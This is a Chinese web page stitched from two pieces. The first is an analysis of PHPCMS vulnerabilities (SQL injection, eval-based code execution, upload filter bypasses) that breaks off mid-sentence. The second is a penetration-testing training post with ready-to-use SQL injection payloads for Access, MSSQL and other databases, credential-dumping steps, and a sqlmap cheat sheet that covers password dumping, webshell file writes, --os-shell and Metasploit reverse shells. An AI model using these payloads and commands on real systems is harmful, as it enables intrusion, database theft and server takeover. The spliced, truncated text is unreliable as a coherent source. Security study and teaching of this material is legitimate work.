PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:

第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");

}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
渗透测试培训Day14 SQL注入之Oracle,MongoDB等注入
网站优化 • 优采云 发表了文章 • 0 个评论 • 296 次浏览 • 2022-06-23 12:24
我喜欢一个人
就像喜欢一阵风
藏在你心里
习桑前言
SQL作用在关系型数据库上面什么是关系型数据库?关系型数据库是由一张张的二维表组成的 常见的关系型数据库厂商有 MySQL、SQLite、SQL Server、Oracle 由于MySQL是免费的 所以企业一般用MySQL的居多 Web SQL是前端的数据库 它也是本地存储的一种 使用SQLite实现 SQLite是一种轻量级数据库 它占的空间小 支持创建表,插入、修改、删除表格数据 但是不支持修改表结构 如删掉一纵列 修改表头字段名等 但是可以把整张表删了 同一个域可以创建多个DB 每个DB有若干张表。与数据库产生交互就有可能存在注入攻击不只是MySQL数据库还有Oracle,MongoDB等数据库也可能会存在注入攻击
简要学习各种数据库的注入特点
数据库架构组成,数据库高权限操作
简要了解各数据库
Access,Mysqlmssql(Microsoft SQL server)mongoDB,postgresqlsqlite,oracle,sybase等<br />Access 表名 列名 数据<br />Access数据库保存在网站源码下面自己网站数据库独立存在所以无法进行跨库也没有文件读写的操作
除了Access其他数据库组成架构基本都是大同小异。<br />mysql mssql等数据库名A 表名列名 数据 数据库名B。。。。。。<br />每个数据库功能不同,我们采取注入的时候攻入方式不同<br />什么决定网站注入点用户权限?数据库配置文件的用户,是谁连接的
Access偏移注入
如果遇到列名猜解不到的情况,则可以使用Access偏移注入原理<br />借用数据库的自连接查询让数据库内部发生乱序从而偏移出所需要的字段在我们的页面上显示用途<br />解决知道Access数据库中知道表名,但是得不到字段的sql注入困境特点<br />a. 成功与否看技巧与运气,不能保证100%成功。b. 无需管理员账号密码字段,直接爆账号密码利用条件<br />a. 已知管理表名b. 已知任意字段(一个或多个会增加机率,最常见的就是id)影响偏移注入成功因素<br />a. 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)b. 当前注入点的脚本内查询的表内的字段数越多越好流程<br />a. 判断字段数b. 判断表名c. 开始偏移注入<br />
本地Access偏移注入靶场
偏移量就是逐步增加或递减直到出现结果。*表示可代替的字符串用*代替22,返回界面依旧报错然后用*代替21,依次递减22-16=6,6表示该表中的列名个数
*代表6个,后面一串字符代表两倍,就相当于2倍*,12个
爆列名数据
一级偏移语句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)二级偏移语句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
二级偏移,3倍*,所以为18个
查看登录框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况猜解表名可能是ZB_admin,观察网站地址特征,是否有前缀。
或者看登录框表单值
SQL server/MSSQL注入
7.1介绍
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。
7.2过程
①判断数据库类型
and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈
②判断数据库版本
and 1=@@version--这个语句要在有回显的模式下才可以哦and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本, 返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是 2008的话就返回正常)
③获取所有数据库的个数 (一下3条语句可供选择使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) -- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --说明:dbid从1-4的数据库一般为系统数据库.
⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
⑥获取当前数据库
and db_name()>0and 1=(select db_name())--
⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005及以上版本)】
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
⑧获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
⑨获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--一次性爆N条所有字段的数据(只限于mssql2005及以上版本):and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
转自:http://www.myhack58.com/Articl ... 6.htm
PostgraSQL注入原理
https://www.webshell.cc/524.ht ... a2c2e
Oracle注入
https://www.cnblogs.com/peterp ... .html
MongoDB注入
https://blog.csdn.net/weixin_3 ... .html
各数据库手工注入
MySQL:1.找到注入点 and 1=1 and 1=2 测试报错2.order by 5 # 到5的时候报错,获取字段总数为43.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息4.获取数据库信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.获取数据库表table_name 表名information_schema.tables 系统生成信息表table_schema=数据库名16进制或者用单引号括起来改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice6.获取列名结果如下 id,name,password,status7.脱裤<br />Access:1.and 1=2 报错找到注入点2.order by 获取总字段3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在5.脱裤 union select 1,username,passwd,4 from adminMSSQL:1.and 1=2报错2.order by N# 获取总字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16可用Burp的Intruder功能辅助猜解猜解username第1到8位的字符,ASCII转码 admin_mz猜解password第1到16位的字符,ASCII转码(Burp 爆破)转ASCII的py脚本:72e1bfc3f01b7583 MD5解密为97285101<br />SQLite:1.找注入点 and 1=12.order by N 猜字段 43.猜数据库offset ==>0~2有三个数据库:WSTMart_regnotice_sybasesqlite_sequence4.猜列共有3个字段:id,name,password5.脱裤<br />MongoDB:1.id=1′ 单引号注入报错2.闭合语句,查看所有集合3.查看指定集合的数据[0] 代表第一条数据,可递增<br />DB2:1.and 1=2 判断注入点2.order by N 获取字段数3.爆当前数据库GAME_CHARACTER4.列表NAME5.脱裤<br />PostgreSQL:1.and 1=2 判断注入点2.order by N 获取字段3.爆数据库4.列表5.列字段6.拖库<br />Sybase数据库:1.and 1=2 判断注入点2.order by N 获取总字段3.爆数据库4.列表5.列字段6.查状态结果为:zhang7.反选爆用户名结果为:mozhe8.猜解密码<br />Oracle:1.and 1=12.order by3.爆数据库4.列表5.列字段6.拖库加上状态:1 where STATUS=1
简要学习各种注入工具的使用指南
熟悉工具的主持库,注入模式,优缺点等sqlmap,NoSQLAttack,Pangolin等
sqlmap基本操作sqlmap简介sqlmap支持五种不同的注入模式:
1、基于布尔的盲注即可以根据返回页面判断条件真假的注入2、基于时间的盲注即不能根据页面返回内容判断任何信息用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。3、基于报错注即页面会返回错误信息或者把注入的语句的结果直接返回在页面中4、联合查询注入可以使用union的情况下的注入5、堆查询注入可以同时执行多条语句的执行时的注入
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQLMicrosoft SQL ServerMicrosoft Access, IBM DB2SQLite, Firebird,Sybase和SAP MaxDB
检测注入:
基本格式sqlmap -u “http://www.vuln.cn/post.php?id=1”默认使用level1检测全部数据库类型sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。目的就是:要追踪到错误信息。
cookie注入
当程序有防get注入的时候,可以使用cookie注入sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
注入成功后
获取数据库基本信息sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下来指定网站可写目录:“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap基本操作
基本操作笔记:
-u #注入点-f #指纹判别数据库类型-b #获取数据库版本信息-p #指定可测试的参数(?page=1&id=2 -p "page,id")-D "" #指定数据库名-T "" #指定表名-C "" #指定字段-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)--level=(1-5) #要执行的测试水平等级,默认为1--risk=(0-3) #测试执行的风险等级,默认为1--time-sec=(2,5) #延迟响应,默认为5--data #通过POST发送数据--columns #列出字段--current-user #获取当前用户名称--current-db #获取当前数据库名称--users #列数据库所有用户--passwords #数据库用户所有密码--privileges #查看用户权限(--privileges -U root)-U #指定数据库用户--dbs #列出所有数据库--tables -D "" #列出指定数据库中的表--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段--dump-all #列出所有数据库所有表--exclude-sysdbs #只列出用户自己新建的数据库和表--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系统(Linux,Windows)-v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容--privileges #查看权限--is-dba #是否是数据库管理员--roles #枚举数据库用户角色--udf-inject #导入用户自定义函数(获取系统权限)--union-check #是否支持union 注入--union-cols #union 查询表记录--union-test #union 语句测试--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交数据(--data "page=1&id=2")--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)--referer "" #使用referer欺骗(--referer "http://www.baidu.com")--user-agent "" #自定义user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定关键词,字符串匹配.--threads #采用多线程(--threads 3)--sql-shell #执行指定sql命令--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #读取指定文件--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)--file-dest #要写入的文件绝对路径--os-cmd=id #执行系统命令--os-shell #系统交互shell--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #读取win系统注册表--priv-esc #--time-sec= #延迟设置 默认--time-sec=5 为5秒-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt<br />
常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-read "c:\boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --eta15./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --common-tables -D testdb --banner21./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2--privileges -U 用户名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2--is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2--users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2--passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2--dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2--tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2--columns -D mysql -T users -v 2
